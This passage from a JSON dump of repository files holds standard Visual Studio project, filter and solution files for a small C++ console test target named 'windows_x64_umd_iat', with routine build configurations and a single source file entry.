Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\r\n    <ConfigurationType>Application</ConfigurationType>\r\n    <UseDebugLibraries>false</UseDebugLibraries>\r\n    <PlatformToolset>v142</PlatformToolset>\r\n    <WholeProgramOptimization>true</WholeProgramOptimization>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\r\n  <ImportGroup Label=\"ExtensionSettings\">\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"Shared\">\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <PropertyGroup Label=\"UserMacros\" />\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <LinkIncremental>true</LinkIncremental>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n    <LinkIncremental>true</LinkIncremental>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <LinkIncremental>false</LinkIncremental>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n    <LinkIncremental>false</LinkIncremental>\r\n  </PropertyGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <ClCompile>\r\n      <PrecompiledHeader>\r\n      </PrecompiledHeader>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <SDLCheck>true</SDLCheck>\r\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <ConformanceMode>true</ConformanceMode>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Console</SubSystem>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n    <ClCompile>\r\n      <PrecompiledHeader>\r\n      </PrecompiledHeader>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <SDLCheck>true</SDLCheck>\r\n      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <ConformanceMode>true</ConformanceMode>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Console</SubSystem>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <ClCompile>\r\n      <PrecompiledHeader>\r\n      </PrecompiledHeader>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <FunctionLevelLinking>true</FunctionLevelLinking>\r\n      <IntrinsicFunctions>true</IntrinsicFunctions>\r\n      <SDLCheck>true</SDLCheck>\r\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <ConformanceMode>true</ConformanceMode>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Console</SubSystem>\r\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\r\n      <OptimizeReferences>true</OptimizeReferences>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n    <ClCompile>\r\n      <PrecompiledHeader>\r\n      </PrecompiledHeader>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <FunctionLevelLinking>true</FunctionLevelLinking>\r\n      <IntrinsicFunctions>true</IntrinsicFunctions>\r\n      <SDLCheck>true</SDLCheck>\r\n      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <ConformanceMode>true</ConformanceMode>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Console</SubSystem>\r\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\r\n      <OptimizeReferences>true</OptimizeReferences>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemGroup>\r\n    <ClCompile Include=\"windows_x64_umd_iat.cpp\" />\r\n  </ItemGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\r\n  <ImportGroup Label=\"ExtensionTargets\">\r\n  </ImportGroup>\r\n</Project>"
  },
  {
    "path": "target_tests/windows_x64_umd_iat/windows_x64_umd_iat/windows_x64_umd_iat.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <ItemGroup>\r\n    <Filter Include=\"Source Files\">\r\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\r\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\r\n    </Filter>\r\n    <Filter Include=\"Header Files\">\r\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\r\n      <Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>\r\n    </Filter>\r\n    <Filter Include=\"Resource Files\">\r\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\r\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\r\n    </Filter>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClCompile Include=\"windows_x64_umd_iat.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n  </ItemGroup>\r\n</Project>"
  },
  {
    "path": "target_tests/windows_x64_umd_iat/windows_x64_umd_iat.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio Version 16\r\nVisualStudioVersion = 16.0.29613.14\r\nMinimumVisualStudioVersion = 10.0.40219.1\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"windows_x64_umd_iat\", \"windows_x64_umd_iat\\windows_x64_umd_iat.vcxproj\", \"{816184DA-F1C3-4B2D-AA5D-E53D36E3F734}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|x64 = Debug|x64\r\n\t\tDebug|x86 = Debug|x86\r\n\t\tRelease|x64 = Release|x64\r\n\t\tRelease|x86 = Release|x86\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{816184DA-F1C3-4B2D-AA5D-E53D36E3F734}.Debug|x64.ActiveCfg = Debug|x64\r\n\t\t{816184DA-F1C3-4B2D-AA5D-E53D36E3F734}.Debug|x64.Build.0 = Debug|x64\r\n\t\t{816184DA-F1C3-4B2D-AA5D-E53D36E3F734}.Debug|x86.ActiveCfg = Debug|Win32\r\n\t\t{816184DA-F1C3-4B2D-AA5D-E53D36E3F734}.Debug|x86.Build.0 = Debug|Win32\r\n\t\t{816184DA-F1C3-4B2D-AA5D-E53D36E3F734}.Release|x64.ActiveCfg = Release|x64\r\n\t\t{816184DA-F1C3-4B2D-AA5D-E53D36E3F734}.Release|x64.Build.0 = Release|x64\r\n\t\t{816184DA-F1C3-4B2D-AA5D-E53D36E3F734}.Release|x86.ActiveCfg = Release|Win32\r\n\t\t{816184DA-F1C3-4B2D-AA5D-E53D36E3F734}.Release|x86.Build.0 = Release|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\n\tGlobalSection(ExtensibilityGlobals) = postSolution\r\n\t\tSolutionGuid = {07E6035F-FE5A-4588-A28B-FA5C0400AA9B}\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  }
]